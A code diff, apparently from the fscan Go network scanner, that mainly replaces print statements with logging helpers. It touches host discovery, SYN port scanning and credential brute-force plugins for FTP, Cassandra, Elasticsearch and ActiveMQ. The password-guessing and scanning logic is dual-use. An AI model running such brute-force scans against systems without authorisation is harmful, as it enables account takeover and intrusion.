if testIP == nil { if testIP == nil {
fmt.Printf("[-] 无效的IP地址格式: %s\n", realIP) LogError(fmt.Sprintf("无效的IP格式: %s", realIP))
return nil return nil
} }
@ -343,7 +308,7 @@ func parseIP8(ip string) []string {
ipRange := strings.Split(ip, ".")[0] ipRange := strings.Split(ip, ".")[0]
var allIP []string var allIP []string
fmt.Printf("[*] 开始解析 %s.0.0.0/8 网段\n", ipRange) LogInfo(fmt.Sprintf("解析网段: %s.0.0.0/8", ipRange))
// 遍历所有可能的第二、三段 // 遍历所有可能的第二、三段
for a := 0; a <= 255; a++ { for a := 0; a <= 255; a++ {
@ -364,17 +329,14 @@ func parseIP8(ip string) []string {
} }
} }
fmt.Printf("[*] 已生成 %d 个采样IP地址\n", len(allIP)) LogInfo(fmt.Sprintf("生成采样IP: %d 个", len(allIP)))
return allIP return allIP
} }
// RandInt 生成指定范围内的随机整数 // RandInt 生成指定范围内的随机整数
func RandInt(min, max int) int { func RandInt(min, max int) int {
// 参数验证
if min >= max || min == 0 || max == 0 { if min >= max || min == 0 || max == 0 {
return max return max
} }
// 生成随机数
return rand.Intn(max-min) + min return rand.Intn(max-min) + min
} }

View File

@ -42,7 +42,7 @@ func ParsePort(ports string) []int {
if strings.Contains(port, "-") { if strings.Contains(port, "-") {
ranges := strings.Split(port, "-") ranges := strings.Split(port, "-")
if len(ranges) < 2 { if len(ranges) < 2 {
fmt.Printf("[-] 无效的端口范围格式: %s\n", port) LogError(fmt.Sprintf("端口范围格式错误: %s", port))
continue continue
} }
@ -63,7 +63,7 @@ func ParsePort(ports string) []int {
end, _ := strconv.Atoi(upper) end, _ := strconv.Atoi(upper)
for i := start; i <= end; i++ { for i := start; i <= end; i++ {
if i > 65535 || i < 1 { if i > 65535 || i < 1 {
fmt.Printf("[-] 忽略无效端口: %d\n", i) LogError(fmt.Sprintf("忽略无效端口: %d", i))
continue continue
} }
scanPorts = append(scanPorts, i) scanPorts = append(scanPorts, i)
@ -74,17 +74,15 @@ func ParsePort(ports string) []int {
scanPorts = removeDuplicate(scanPorts) scanPorts = removeDuplicate(scanPorts)
sort.Ints(scanPorts) sort.Ints(scanPorts)
fmt.Printf("[*] 共解析 %d 个有效端口\n", len(scanPorts)) LogInfo(fmt.Sprintf("有效端口数量: %d", len(scanPorts)))
return scanPorts return scanPorts
} }
// removeDuplicate 对整数切片进行去重 // removeDuplicate 对整数切片进行去重
func removeDuplicate(old []int) []int { func removeDuplicate(old []int) []int {
// 使用map存储不重复的元素
temp := make(map[int]struct{}) temp := make(map[int]struct{})
var result []int var result []int
// 遍历并去重
for _, item := range old { for _, item := range old {
if _, exists := temp[item]; !exists { if _, exists := temp[item]; !exists {
temp[item] = struct{}{} temp[item] = struct{}{}

View File

@ -48,7 +48,7 @@ var pluginGroups = map[string][]string{
// ParseScanMode 解析扫描模式 // ParseScanMode 解析扫描模式
func ParseScanMode(mode string) { func ParseScanMode(mode string) {
fmt.Printf("[*] 解析扫描模式: %s\n", mode) LogInfo(fmt.Sprintf("解析扫描模式: %s", mode))
// 检查是否是预设模式 // 检查是否是预设模式
presetModes := []string{ presetModes := []string{
@ -60,9 +60,9 @@ func ParseScanMode(mode string) {
if mode == presetMode { if mode == presetMode {
ScanMode = mode ScanMode = mode
if plugins := GetPluginsForMode(mode); plugins != nil { if plugins := GetPluginsForMode(mode); plugins != nil {
fmt.Printf("[+] 使用预设模式: %s, 包含插件: %v\n", mode, plugins) LogInfo(fmt.Sprintf("使用预设模式: %s, 包含插件: %v", mode, plugins))
} else { } else {
fmt.Printf("[+] 使用预设模式: %s\n", mode) LogInfo(fmt.Sprintf("使用预设模式: %s", mode))
} }
return return
} }
@ -71,14 +71,14 @@ func ParseScanMode(mode string) {
// 检查是否是有效的插件名 // 检查是否是有效的插件名
if _, exists := PluginManager[mode]; exists { if _, exists := PluginManager[mode]; exists {
ScanMode = mode ScanMode = mode
fmt.Printf("[+] 使用单个插件: %s\n", mode) LogInfo(fmt.Sprintf("使用单个插件: %s", mode))
return return
} }
// 默认使用All模式 // 默认使用All模式
ScanMode = ModeAll ScanMode = ModeAll
fmt.Printf("[*] 未识别的模式,使用默认模式: %s\n", ModeAll) LogInfo(fmt.Sprintf("未识别的模式,使用默认模式: %s", ModeAll))
fmt.Printf("[+] 包含插件: %v\n", pluginGroups[ModeAll]) LogInfo(fmt.Sprintf("包含插件: %v", pluginGroups[ModeAll]))
} }
// GetPluginsForMode 获取指定模式下的插件列表 // GetPluginsForMode 获取指定模式下的插件列表

View File

@ -75,7 +75,7 @@ func probeWithICMP(hostslist []string, chanHosts chan string) {
return return
} }
Common.LogError(err) Common.LogError(fmt.Sprintf("ICMP监听失败: %v", err))
fmt.Println("[-] 正在尝试无监听ICMP探测...") fmt.Println("[-] 正在尝试无监听ICMP探测...")
// 尝试无监听ICMP探测 // 尝试无监听ICMP探测
@ -86,7 +86,7 @@ func probeWithICMP(hostslist []string, chanHosts chan string) {
return return
} }
Common.LogError(err) Common.LogError(fmt.Sprintf("ICMP连接失败: %v", err))
fmt.Println("[-] 当前用户权限不足,无法发送ICMP包") fmt.Println("[-] 当前用户权限不足,无法发送ICMP包")
fmt.Println("[*] 切换为PING方式探测...") fmt.Println("[*] 切换为PING方式探测...")

View File

@ -3,13 +3,11 @@ package Core
import ( import (
"encoding/binary" "encoding/binary"
"fmt" "fmt"
"github.com/Ullaakut/nmap"
"github.com/google/gopacket" "github.com/google/gopacket"
"github.com/google/gopacket/layers" "github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap" "github.com/google/gopacket/pcap"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
"golang.org/x/net/ipv4" "golang.org/x/net/ipv4"
"log"
"net" "net"
"runtime" "runtime"
"sort" "sort"
@ -25,12 +23,12 @@ type Addr struct {
func PortScan(hostslist []string, ports string, timeout int64) []string { func PortScan(hostslist []string, ports string, timeout int64) []string {
var AliveAddress []string var AliveAddress []string
var mu sync.Mutex // 添加互斥锁保护 AliveAddress var mu sync.Mutex
// 解析端口列表 // 解析端口列表
probePorts := Common.ParsePort(ports) probePorts := Common.ParsePort(ports)
if len(probePorts) == 0 { if len(probePorts) == 0 {
fmt.Printf("[-] 端口格式错误: %s, 请检查端口格式\n", ports) Common.LogError(fmt.Sprintf("端口格式错误: %s", ports))
return AliveAddress return AliveAddress
} }
@ -75,12 +73,11 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
} }
} }
// 按顺序关闭并等待
close(addrs) close(addrs)
workerWg.Wait() // 等待所有扫描worker完成 workerWg.Wait()
wg.Wait() // 等待所有扫描任务完成 wg.Wait()
close(results) // 关闭结果通道 close(results)
resultWg.Wait() // 等待结果处理完成 resultWg.Wait()
return AliveAddress return AliveAddress
} }
@ -111,10 +108,7 @@ func PortConnect(addr Addr, respondingHosts chan<- string, timeout int64, wg *sy
// 记录开放端口 // 记录开放端口
address := fmt.Sprintf("%s:%d", addr.ip, addr.port) address := fmt.Sprintf("%s:%d", addr.ip, addr.port)
protocol := "TCP" Common.LogSuccess(fmt.Sprintf("端口开放 %s", address))
result := fmt.Sprintf("[+] %s端口开放 %s", protocol, address)
Common.LogSuccess(result)
respondingHosts <- address respondingHosts <- address
} }
@ -168,30 +162,27 @@ func SynScan(ip string, port int, timeout int64) (bool, error) {
sendConn, err := net.ListenPacket("ip4:tcp", "0.0.0.0") sendConn, err := net.ListenPacket("ip4:tcp", "0.0.0.0")
if err != nil { if err != nil {
return false, fmt.Errorf("创建发送套接字失败: %v", err) return false, fmt.Errorf("发送套接字错误: %v", err)
} }
defer sendConn.Close() defer sendConn.Close()
rawConn, err := ipv4.NewRawConn(sendConn) rawConn, err := ipv4.NewRawConn(sendConn)
if err != nil { if err != nil {
return false, fmt.Errorf("获取原始连接失败: %v", err) return false, fmt.Errorf("原始连接错误: %v", err)
} }
dstIP := net.ParseIP(ip) dstIP := net.ParseIP(ip)
if dstIP == nil { if dstIP == nil {
return false, fmt.Errorf("无效的IP地址: %s", ip) return false, fmt.Errorf("IP地址无效: %s", ip)
} }
// 打开正确的网络接口
handle, err := pcap.OpenLive(ifName, 65536, true, pcap.BlockForever) handle, err := pcap.OpenLive(ifName, 65536, true, pcap.BlockForever)
if err != nil { if err != nil {
// 如果失败,尝试查找可用接口
ifaces, err := pcap.FindAllDevs() ifaces, err := pcap.FindAllDevs()
if err != nil { if err != nil {
return false, fmt.Errorf("无法找到网络接口: %v", err) return false, fmt.Errorf("网络接口错误: %v", err)
} }
// 遍历查找可用接口
var found bool var found bool
for _, iface := range ifaces { for _, iface := range ifaces {
handle, err = pcap.OpenLive(iface.Name, 65536, true, pcap.BlockForever) handle, err = pcap.OpenLive(iface.Name, 65536, true, pcap.BlockForever)
@ -202,7 +193,7 @@ func SynScan(ip string, port int, timeout int64) (bool, error) {
} }
if !found { if !found {
return false, fmt.Errorf("无法打开任何网络接口") return false, fmt.Errorf("未找到可用网络接口")
} }
} }
defer handle.Close() defer handle.Close()
@ -210,9 +201,10 @@ func SynScan(ip string, port int, timeout int64) (bool, error) {
srcPort := 12345 + port srcPort := 12345 + port
filter := fmt.Sprintf("tcp and src port %d and dst port %d", port, srcPort) filter := fmt.Sprintf("tcp and src port %d and dst port %d", port, srcPort)
if err := handle.SetBPFFilter(filter); err != nil { if err := handle.SetBPFFilter(filter); err != nil {
return false, fmt.Errorf("设置过滤器失败: %v", err) return false, fmt.Errorf("过滤器错误: %v", err)
} }
// TCP头部设置保持不变
tcpHeader := &ipv4.Header{ tcpHeader := &ipv4.Header{
Version: 4, Version: 4,
Len: 20, Len: 20,
@ -222,6 +214,7 @@ func SynScan(ip string, port int, timeout int64) (bool, error) {
Dst: dstIP, Dst: dstIP,
} }
// SYN包构造保持不变
synPacket := make([]byte, 20) synPacket := make([]byte, 20)
binary.BigEndian.PutUint16(synPacket[0:2], uint16(srcPort)) binary.BigEndian.PutUint16(synPacket[0:2], uint16(srcPort))
binary.BigEndian.PutUint16(synPacket[2:4], uint16(port)) binary.BigEndian.PutUint16(synPacket[2:4], uint16(port))
@ -237,7 +230,7 @@ func SynScan(ip string, port int, timeout int64) (bool, error) {
binary.BigEndian.PutUint16(synPacket[16:18], checksum) binary.BigEndian.PutUint16(synPacket[16:18], checksum)
if err := rawConn.WriteTo(tcpHeader, synPacket, nil); err != nil { if err := rawConn.WriteTo(tcpHeader, synPacket, nil); err != nil {
return false, fmt.Errorf("发送SYN包失败: %v", err) return false, fmt.Errorf("SYN包发送错误: %v", err)
} }
packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
@ -311,43 +304,6 @@ func calculateTCPChecksum(tcpHeader []byte, srcIP, dstIP net.IP) uint16 {
return ^uint16(sum) return ^uint16(sum)
} }
func UDPScan(ip string, port int, timeout int64) (bool, error) {
// 构造端口字符串
portStr := fmt.Sprintf("%d", port)
// 配置nmap扫描
scanner, err := nmap.NewScanner(
nmap.WithTargets(ip),
nmap.WithPorts(portStr),
nmap.WithUDPScan(),
nmap.WithTimingTemplate(nmap.TimingAggressive),
)
if err != nil {
return false, fmt.Errorf("创建扫描器失败: %v", err)
}
// 执行扫描
result, warnings, err := scanner.Run()
if err != nil {
return false, fmt.Errorf("扫描执行失败: %v", err)
}
if warnings != nil {
log.Printf("扫描警告: %v", warnings)
}
// 检查结果
for _, host := range result.Hosts {
for _, p := range host.Ports {
if int(p.ID) == port &&
(p.State.State == "open" || p.State.State == "open|filtered") {
return true, nil
}
}
}
return false, nil
}
// 获取系统对应的接口名 // 获取系统对应的接口名
func getInterfaceName() string { func getInterfaceName() string {
switch runtime.GOOS { switch runtime.GOOS {

View File

@ -7,12 +7,12 @@ import (
"strconv" "strconv"
"strings" "strings"
"sync" "sync"
"sync/atomic"
) )
// Scan 执行扫描主流程 // Scan 执行扫描主流程
func Scan(info Common.HostInfo) { func Scan(info Common.HostInfo) {
fmt.Println("[*] 开始信息扫描...") Common.LogInfo("开始信息扫描")
Common.ParseScanMode(Common.ScanMode) Common.ParseScanMode(Common.ScanMode)
ch := make(chan struct{}, Common.ThreadNum) ch := make(chan struct{}, Common.ThreadNum)
@ -28,7 +28,7 @@ func Scan(info Common.HostInfo) {
// 初始化并解析目标 // 初始化并解析目标
hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts) hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts)
if err != nil { if err != nil {
fmt.Printf("[-] 解析主机错误: %v\n", err) Common.LogError(fmt.Sprintf("解析主机错误: %v", err))
return return
} }
lib.Inithttp() lib.Inithttp()
@ -42,50 +42,44 @@ func Scan(info Common.HostInfo) {
func executeScan(hosts []string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { func executeScan(hosts []string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
var targetInfos []Common.HostInfo var targetInfos []Common.HostInfo
// 处理主机和端口扫描
if len(hosts) > 0 || len(Common.HostPort) > 0 { if len(hosts) > 0 || len(Common.HostPort) > 0 {
// ICMP存活性检测
if (Common.DisablePing == false && len(hosts) > 1) || Common.IsICMPScan() { if (Common.DisablePing == false && len(hosts) > 1) || Common.IsICMPScan() {
hosts = CheckLive(hosts, Common.UsePing) hosts = CheckLive(hosts, Common.UsePing)
fmt.Printf("[+] ICMP存活主机数量: %d\n", len(hosts)) Common.LogInfo(fmt.Sprintf("存活主机数量: %d", len(hosts)))
if Common.IsICMPScan() { if Common.IsICMPScan() {
return return
} }
} }
// 获取存活端口
var alivePorts []string var alivePorts []string
if Common.IsWebScan() { if Common.IsWebScan() {
alivePorts = NoPortScan(hosts, Common.Ports) alivePorts = NoPortScan(hosts, Common.Ports)
} else if len(hosts) > 0 { } else if len(hosts) > 0 {
alivePorts = PortScan(hosts, Common.Ports, Common.Timeout) alivePorts = PortScan(hosts, Common.Ports, Common.Timeout)
fmt.Printf("[+] 存活端口数量: %d\n", len(alivePorts)) Common.LogInfo(fmt.Sprintf("存活端口数量: %d", len(alivePorts)))
if Common.IsPortScan() { if Common.IsPortScan() {
return return
} }
} }
// 处理自定义端口
if len(Common.HostPort) > 0 { if len(Common.HostPort) > 0 {
alivePorts = append(alivePorts, Common.HostPort...) alivePorts = append(alivePorts, Common.HostPort...)
alivePorts = Common.RemoveDuplicate(alivePorts) alivePorts = Common.RemoveDuplicate(alivePorts)
Common.HostPort = nil Common.HostPort = nil
fmt.Printf("[+] 存活端口数量: %d\n", len(alivePorts)) Common.LogInfo(fmt.Sprintf("存活端口数量: %d", len(alivePorts)))
} }
targetInfos = prepareTargetInfos(alivePorts, info) targetInfos = prepareTargetInfos(alivePorts, info)
} }
// 准备URL扫描目标
for _, url := range Common.URLs { for _, url := range Common.URLs {
urlInfo := info urlInfo := info
urlInfo.Url = url urlInfo.Url = url
targetInfos = append(targetInfos, urlInfo) targetInfos = append(targetInfos, urlInfo)
} }
// 执行扫描任务
if len(targetInfos) > 0 { if len(targetInfos) > 0 {
fmt.Println("[*] 开始漏洞扫描...") Common.LogInfo("开始漏洞扫描")
executeScans(targetInfos, ch, wg) executeScans(targetInfos, ch, wg)
} }
} }
@ -96,7 +90,7 @@ func prepareTargetInfos(alivePorts []string, baseInfo Common.HostInfo) []Common.
for _, targetIP := range alivePorts { for _, targetIP := range alivePorts {
hostParts := strings.Split(targetIP, ":") hostParts := strings.Split(targetIP, ":")
if len(hostParts) != 2 { if len(hostParts) != 2 {
fmt.Printf("[-] 无效的目标地址格式: %s\n", targetIP) Common.LogError(fmt.Sprintf("无效的目标地址格式: %s", targetIP))
continue continue
} }
info := baseInfo info := baseInfo
@ -112,54 +106,42 @@ func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGro
var pluginsToRun []string var pluginsToRun []string
isSinglePlugin := false isSinglePlugin := false
// 获取要执行的插件列表
if plugins := Common.GetPluginsForMode(mode); plugins != nil { if plugins := Common.GetPluginsForMode(mode); plugins != nil {
// 预设模式下使用配置的插件组
pluginsToRun = plugins pluginsToRun = plugins
fmt.Printf("[*] 正在加载插件组: %s\n", mode) Common.LogInfo(fmt.Sprintf("加载插件组: %s", mode))
} else { } else {
// 单插件模式
pluginsToRun = []string{mode} pluginsToRun = []string{mode}
isSinglePlugin = true isSinglePlugin = true
fmt.Printf("[*] 正在加载单插件: %s\n", mode) Common.LogInfo(fmt.Sprintf("使用单个插件: %s", mode))
} }
// 统一处理所有目标和插件
for _, target := range targets { for _, target := range targets {
targetPort, _ := strconv.Atoi(target.Ports) targetPort, _ := strconv.Atoi(target.Ports)
for _, pluginName := range pluginsToRun { for _, pluginName := range pluginsToRun {
// 获取插件信息
plugin, exists := Common.PluginManager[pluginName] plugin, exists := Common.PluginManager[pluginName]
if !exists { if !exists {
fmt.Printf("[-] 插件 %s 不存在\n", pluginName) Common.LogError(fmt.Sprintf("插件 %s 不存在", pluginName))
continue continue
} }
// 本地扫描模式的特殊处理
if Common.LocalScan { if Common.LocalScan {
if len(plugin.Ports) == 0 { if len(plugin.Ports) == 0 {
fmt.Printf("[+] 载入插件: %s\n", pluginName)
AddScan(pluginName, target, ch, wg) AddScan(pluginName, target, ch, wg)
} }
continue continue
} }
// 单插件模式直接执行,不检查端口
if isSinglePlugin { if isSinglePlugin {
fmt.Printf("[+] 载入插件: %s\n", pluginName)
AddScan(pluginName, target, ch, wg) AddScan(pluginName, target, ch, wg)
continue continue
} }
// 预设模式下的常规处理
if len(plugin.Ports) > 0 { if len(plugin.Ports) > 0 {
if plugin.HasPort(targetPort) { if plugin.HasPort(targetPort) {
fmt.Printf("[+] 载入插件: %s (端口: %d)\n", pluginName, targetPort)
AddScan(pluginName, target, ch, wg) AddScan(pluginName, target, ch, wg)
} }
} else { } else {
fmt.Printf("[+] 载入插件: %s\n", pluginName)
AddScan(pluginName, target, ch, wg) AddScan(pluginName, target, ch, wg)
} }
} }
@ -169,9 +151,11 @@ func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGro
// finishScan 完成扫描任务 // finishScan 完成扫描任务
func finishScan(wg *sync.WaitGroup) { func finishScan(wg *sync.WaitGroup) {
wg.Wait() wg.Wait()
// 先发送最后的成功消息
Common.LogSuccess(fmt.Sprintf("扫描已完成: %v/%v", Common.End, Common.Num))
// 等待日志处理完成后再关闭通道
Common.LogWG.Wait() Common.LogWG.Wait()
close(Common.Results) close(Common.Results)
fmt.Printf("[+] 扫描已完成: %v/%v\n", Common.End, Common.Num)
} }
// Mutex用于保护共享资源的并发访问 // Mutex用于保护共享资源的并发访问
@ -193,7 +177,7 @@ func AddScan(plugin string, info Common.HostInfo, ch *chan struct{}, wg *sync.Wa
// 增加总任务数 // 增加总任务数
Mutex.Lock() Mutex.Lock()
Common.Num += 1 atomic.AddInt64(&Common.Num, 1)
Mutex.Unlock() Mutex.Unlock()
// 执行扫描 // 执行扫描
@ -201,7 +185,7 @@ func AddScan(plugin string, info Common.HostInfo, ch *chan struct{}, wg *sync.Wa
// 增加已完成任务数 // 增加已完成任务数
Mutex.Lock() Mutex.Lock()
Common.End += 1 atomic.AddInt64(&Common.End, 1)
Mutex.Unlock() Mutex.Unlock()
}() }()
} }
@ -210,20 +194,18 @@ func AddScan(plugin string, info Common.HostInfo, ch *chan struct{}, wg *sync.Wa
func ScanFunc(name *string, info *Common.HostInfo) { func ScanFunc(name *string, info *Common.HostInfo) {
defer func() { defer func() {
if err := recover(); err != nil { if err := recover(); err != nil {
fmt.Printf("[-] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err) Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err))
} }
}() }()
// 检查插件是否存在
plugin, exists := Common.PluginManager[*name] plugin, exists := Common.PluginManager[*name]
if !exists { if !exists {
fmt.Printf("[*] 扫描类型 %v 无对应插件,已跳过\n", *name) Common.LogInfo(fmt.Sprintf("扫描类型 %v 无对应插件,已跳过", *name))
return return
} }
// 直接调用扫描函数
if err := plugin.ScanFunc(info); err != nil { if err := plugin.ScanFunc(info); err != nil {
fmt.Printf("[-] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err) Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err))
} }
} }

View File

@ -100,7 +100,7 @@ func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
} }
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] ActiveMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", errlog := fmt.Sprintf("ActiveMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err) info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog) Common.LogError(errlog)

View File

@ -53,7 +53,7 @@ func AesEncrypt(orig string, key string) (string, error) {
// 创建加密块,要求密钥长度必须为16/24/32字节 // 创建加密块,要求密钥长度必须为16/24/32字节
block, err := aes.NewCipher(keyBytes) block, err := aes.NewCipher(keyBytes)
if err != nil { if err != nil {
return "", fmt.Errorf("[-] 创建加密块失败: %v", err) return "", fmt.Errorf("创建加密块失败: %v", err)
} }
// 获取块大小并填充数据 // 获取块大小并填充数据
@ -76,7 +76,7 @@ func AesDecrypt(crypted string, key string) (string, error) {
// base64解码 // base64解码
cryptedBytes, err := base64.StdEncoding.DecodeString(crypted) cryptedBytes, err := base64.StdEncoding.DecodeString(crypted)
if err != nil { if err != nil {
return "", fmt.Errorf("[-] base64解码失败: %v", err) return "", fmt.Errorf("base64解码失败: %v", err)
} }
keyBytes := []byte(key) keyBytes := []byte(key)
@ -84,7 +84,7 @@ func AesDecrypt(crypted string, key string) (string, error) {
// 创建解密块 // 创建解密块
block, err := aes.NewCipher(keyBytes) block, err := aes.NewCipher(keyBytes)
if err != nil { if err != nil {
return "", fmt.Errorf("[-] 创建解密块失败: %v", err) return "", fmt.Errorf("创建解密块失败: %v", err)
} }
// 创建CBC解密模式 // 创建CBC解密模式
@ -98,7 +98,7 @@ func AesDecrypt(crypted string, key string) (string, error) {
// 去除填充 // 去除填充
origData, err = PKCS7UnPadding(origData) origData, err = PKCS7UnPadding(origData)
if err != nil { if err != nil {
return "", fmt.Errorf("[-] 去除PKCS7填充失败: %v", err) return "", fmt.Errorf("去除PKCS7填充失败: %v", err)
} }
return string(origData), nil return string(origData), nil
@ -115,12 +115,12 @@ func PKCS7Padding(data []byte, blockSize int) []byte {
func PKCS7UnPadding(data []byte) ([]byte, error) { func PKCS7UnPadding(data []byte) ([]byte, error) {
length := len(data) length := len(data)
if length == 0 { if length == 0 {
return nil, errors.New("[-] 数据长度为0") return nil, errors.New("数据长度为0")
} }
padding := int(data[length-1]) padding := int(data[length-1])
if padding > length { if padding > length {
return nil, errors.New("[-] 填充长度无效") return nil, errors.New("填充长度无效")
} }
return data[:length-padding], nil return data[:length-padding], nil

View File

@ -98,7 +98,7 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况 // 处理错误情况
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] Cassandra服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", errlog := fmt.Sprintf("Cassandra服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err) info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog) Common.LogError(errlog)
@ -172,7 +172,7 @@ func CassandraConn(info *Common.HostInfo, user string, pass string) (bool, error
} }
} }
result := fmt.Sprintf("[+] Cassandra服务 %v:%v ", host, port) result := fmt.Sprintf("Cassandra服务 %v:%v ", host, port)
if user != "" { if user != "" {
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
} else { } else {

View File

@ -101,7 +101,7 @@ func ElasticScan(info *Common.HostInfo) (tmperr error) {
// 处理错误情况 // 处理错误情况
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] Elasticsearch服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", errlog := fmt.Sprintf("Elasticsearch服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
info.Host, info.Ports, task.user, task.pass, err) info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog) Common.LogError(errlog)
@ -178,7 +178,7 @@ func ElasticConn(info *Common.HostInfo, user string, pass string) (bool, error)
// 检查响应状态 // 检查响应状态
if resp.StatusCode == 200 { if resp.StatusCode == 200 {
result := fmt.Sprintf("[+] Elasticsearch服务 %v:%v ", host, port) result := fmt.Sprintf("Elasticsearch服务 %v:%v ", host, port)
if user != "" { if user != "" {
result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass)
} else { } else {

View File

@ -1,6 +1,7 @@
package Plugins package Plugins
import ( import (
"context"
"fmt" "fmt"
"github.com/jlaffaye/ftp" "github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
@ -17,8 +18,10 @@ func FtpScan(info *Common.HostInfo) (tmperr error) {
maxRetries := Common.MaxRetries maxRetries := Common.MaxRetries
threads := Common.BruteThreads threads := Common.BruteThreads
successChan := make(chan struct{}, 1)
defer close(successChan) // 创建带取消功能的context
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
// 先尝试匿名登录 // 先尝试匿名登录
for retryCount := 0; retryCount < maxRetries; retryCount++ { for retryCount := 0; retryCount < maxRetries; retryCount++ {
@ -26,7 +29,7 @@ func FtpScan(info *Common.HostInfo) (tmperr error) {
if flag && err == nil { if flag && err == nil {
return nil return nil
} }
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err) errlog := fmt.Sprintf("ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err)
Common.LogError(errlog) Common.LogError(errlog)
if err != nil && !strings.Contains(err.Error(), "Login incorrect") { if err != nil && !strings.Contains(err.Error(), "Login incorrect") {
@ -40,36 +43,41 @@ func FtpScan(info *Common.HostInfo) (tmperr error) {
break break
} }
// 创建任务通道
taskChan := make(chan struct { taskChan := make(chan struct {
user string user string
pass string pass string
}, len(Common.Userdict["ftp"])*len(Common.Passwords)) }, len(Common.Userdict["ftp"])*len(Common.Passwords))
// 任务分发goroutine
go func() {
defer close(taskChan)
for _, user := range Common.Userdict["ftp"] {
for _, pass := range Common.Passwords {
select {
case <-ctx.Done():
return
default:
pass = strings.Replace(pass, "{user}", user, -1)
taskChan <- struct {
user string
pass string
}{user, pass}
}
}
}
}()
var wg sync.WaitGroup
resultChan := make(chan error, threads) resultChan := make(chan error, threads)
// 生成所有用户名密码组合任务
for _, user := range Common.Userdict["ftp"] {
for _, pass := range Common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
taskChan <- struct {
user string
pass string
}{user, pass}
}
}
close(taskChan)
// 启动工作线程 // 启动工作线程
var wg sync.WaitGroup
for i := 0; i < threads; i++ { for i := 0; i < threads; i++ {
wg.Add(1) wg.Add(1)
go func() { go func() {
defer wg.Done() defer wg.Done()
for task := range taskChan { for task := range taskChan {
// 检查是否已经成功
select { select {
case <-successChan: case <-ctx.Done():
resultChan <- nil resultChan <- nil
return return
default: default:
@ -77,88 +85,95 @@ func FtpScan(info *Common.HostInfo) (tmperr error) {
// 重试循环 // 重试循环
for retryCount := 0; retryCount < maxRetries; retryCount++ { for retryCount := 0; retryCount < maxRetries; retryCount++ {
// 执行FTP连接
done := make(chan struct { done := make(chan struct {
success bool success bool
err error err error
}) }, 1)
connCtx, connCancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second)
go func(user, pass string) { go func(user, pass string) {
success, err := FtpConn(info, user, pass) success, err := FtpConn(info, user, pass)
done <- struct { select {
case <-connCtx.Done():
case done <- struct {
success bool success bool
err error err error
}{success, err} }{success, err}:
}
}(task.user, task.pass) }(task.user, task.pass)
// 等待结果或超时
var err error var err error
select { select {
case <-ctx.Done():
connCancel()
resultChan <- nil
return
case result := <-done: case result := <-done:
err = result.err err = result.err
if result.success && err == nil { if result.success && err == nil {
select { successLog := fmt.Sprintf("FTP %v:%v %v %v",
case successChan <- struct{}{}: info.Host, info.Ports, task.user, task.pass)
successLog := fmt.Sprintf("[+] FTP %v:%v %v %v", Common.LogSuccess(successLog)
info.Host, info.Ports, task.user, task.pass) time.Sleep(100 * time.Millisecond)
Common.LogSuccess(successLog) cancel() // 取消所有操作
default:
}
resultChan <- nil resultChan <- nil
return return
} }
case <-time.After(time.Duration(Common.Timeout) * time.Second): case <-connCtx.Done():
err = fmt.Errorf("连接超时") err = fmt.Errorf("连接超时")
} }
// 处理错误情况 connCancel()
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v", select {
case <-ctx.Done():
resultChan <- nil
return
default:
}
errlog := fmt.Sprintf("ftp %v:%v %v %v %v",
info.Host, info.Ports, task.user, task.pass, err) info.Host, info.Ports, task.user, task.pass, err)
Common.LogError(errlog) Common.LogError(errlog)
// 对于登录失败的错误,直接继续下一个
if strings.Contains(err.Error(), "Login incorrect") { if strings.Contains(err.Error(), "Login incorrect") {
break break
} }
// 特别处理连接数过多的情况
if strings.Contains(err.Error(), "too many connections") { if strings.Contains(err.Error(), "too many connections") {
time.Sleep(5 * time.Second) time.Sleep(5 * time.Second)
if retryCount < maxRetries-1 { if retryCount < maxRetries-1 {
continue // 继续重试 continue
} }
} }
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr != nil { if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 { if retryCount == maxRetries-1 {
